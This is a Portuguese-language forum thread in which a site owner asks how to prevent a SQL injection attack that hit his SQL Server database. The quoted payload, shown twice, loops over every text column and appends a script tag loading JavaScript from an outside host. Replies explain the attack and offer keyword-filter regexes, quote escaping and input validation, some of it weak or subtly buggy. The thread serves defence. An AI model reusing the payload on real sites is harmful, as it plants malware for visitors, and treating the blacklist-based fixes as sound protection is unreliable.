Ir para conteúdo

POWERED BY:

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Leo-nildo

Ataque Hacker

Recommended Posts

Olá,

 

Fui atacado com a seguinte instrução:

DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

como previnir esse tipo de ataque??

 

Grato

Leonardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

O ideal é você fazer um replace, na informação que veio do formulário, com palavras chaves... declare, from, where, begin, fetch next, end close, etc. Substitui essas palavras por nada.

 

Ou então, sempre que você localizar duas ou mais das palavras citadas no campo, você anula a variável, pois certamente será código malicioso.

Compartilhar este post


Link para o post
Compartilhar em outros sites

é como o hargon falou...

 

existem várias expressões regulares, aqui uma que você pode usar.

 

function trataCaracter(valor)
   Set objRegExpr = New RegExp
   objRegExpr.Global = True
   objRegExpr.IgnoreCase = True
   objRegExpr.Pattern = "([\s]*(insert|update|upload|delete|drop|select|create|information_schema)[\s])|(""|'|;)"
   if objRegExpr.Test(valor) then
		valor = ""
   end if
   trataCaracter = replace(valor,"'","")	 
end function

Compartilhar este post


Link para o post
Compartilhar em outros sites

Qual é o seu Banco de Dados? Esse ataque veio de um campo de que tipo de seu FORM? Sempre valide os tipos de dados que serão usados em consultas ao banco de dados. Para campos do tipo texto use o replace da aspa simples por duas aspas simples sempre.

 

As dicas acima são válidas, mas nem sempre é necessário impedir algumas palavras. Imagine um Fórum de SQL que impedisse a postagem de códigos, ou mesmo aqui.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Qual é o seu Banco de Dados? Esse ataque veio de um campo de que tipo de seu FORM? Sempre valide os tipos de dados que serão usados em consultas ao banco de dados. Para campos do tipo texto use o replace da aspa simples por duas aspas simples sempre.

 

As dicas acima são válidas, mas nem sempre é necessário impedir algumas palavras. Imagine um Fórum de SQL que impedisse a postagem de códigos, ou mesmo aqui.

Pois é salgado, vejo que a solução e fazer o replace de aspas simples para duas aspas para campo texto e validar os campos numericos como numericos

Meu banco de dados é sql server

 

Grato

Leo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não precisa fazer replace do apostofre (') por aspas(") eu faço o seguinte eu substitui o apostofre por ´ que é o código em HTML, na verdade eu faço com todas os caracteres especiais.

Compartilhar este post


Link para o post
Compartilhar em outros sites

A proveitando esse código:

 

DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Alguem tem como explicar o que ele faz? Eu não entendi muito

 

Obrigado

Compartilhar este post


Link para o post
Compartilhar em outros sites

A proveitando esse código:

 

DECLARE @T VARCHAR(255)"@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name"b.name FROM sysobjects a"syscolumns b WHERE a.id=b.id AND a.xtype="u" AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T"@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC("UPDATE ["+@T+"] SET ["+@C+"]=RTRIM(CONVERT(VARCHAR(4000)"["+@C+"]))+""<script src=http://www.tag58.com/b.js></script>""") FETCH NEXT FROM Table_Cursor INTO @T"@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 

Alguem tem como explicar o que ele faz? Eu não entendi muito

 

Obrigado

1- Faz uma busca nas tabelas sysobjects e syscolumns onde contem todas as informações de tabelas e campos em seu banco de dados

2- Converte todos os campos varchar para 4000 caracteres

3- Insere a tag <script src=http://www.tag58.com/b.js></script> em todos os campos nas tabelas varchar de seu banco de dados

 

Solucão:

 

' Rotina para formatar Numeros para o SQL
Function fNum(Numero)
   Dim nsp, n
	  
   nsp = Replace(Numero & "", ".", "")
   n = Replace(nsp, ",", ".")

   If isNumeric(n) Then n = n * 1 Else n = 0
   fNum = n
   End Function

' Rotina para formatar String para o SQL Server
Function fStr(String)
   fStr = Replace(Replace(String, "'", "''"), "|", "' + CHAR(124) + '")
End Function

Para aumentar ainda mais a segurança:

d = fNum( Left(Request("id"), 10) )
sql = "SELECT * FROM Tabela WHERE ID = " & id

texto = Left(Request("texto"),50)
sql = "INSERT INTO Tabela VALUES ('" & fStr(texto) & "')"

Use um left para restringir a quantidade de caracteres na variavel

 

Você poderá também, caso esteja inseguro, dar um DENY para Select nas tabelas sysobjects e syscolumns

 

Abrs

Leonardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

Não precisa fazer replace do apostofre (') por aspas(") eu faço o seguinte eu substitui o apostofre por ´ que é o código em HTML, na verdade eu faço com todas os caracteres especiais.

Muito pelo contario

 

Esta é a forma mais correta e simples de se fazer

Compartilhar este post


Link para o post
Compartilhar em outros sites

Opa...

 

Também tive um site invadido pelo mesmo ataque, todos os campos do banco estao com esta coisa..rss

 

Vocês sabem como que eu consigo identificar o local que fizeram o ataque?

 

Tem como saber o arquivo que foi atacado?

 

 

Abraços

Compartilhar este post


Link para o post
Compartilhar em outros sites

Opa...

 

Também tive um site invadido pelo mesmo ataque, todos os campos do banco estao com esta coisa..rss

 

Vocês sabem como que eu consigo identificar o local que fizeram o ataque?

 

Tem como saber o arquivo que foi atacado?

 

 

Abraços

Olá Kibe,

 

Na verdade é um robô que vasculha atravez do google e encontra sites com aberturas nas instruções sql

nenhum arquivo é atacado, apenas os campos varchar do banco de dados que são sujos com essa tag que me parece um spyware

 

Use as dicas que ja comentei nesse POST para previnir o ataque

 

Boa Sorte!

 

Abrs

Leonardo

Compartilhar este post


Link para o post
Compartilhar em outros sites

×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.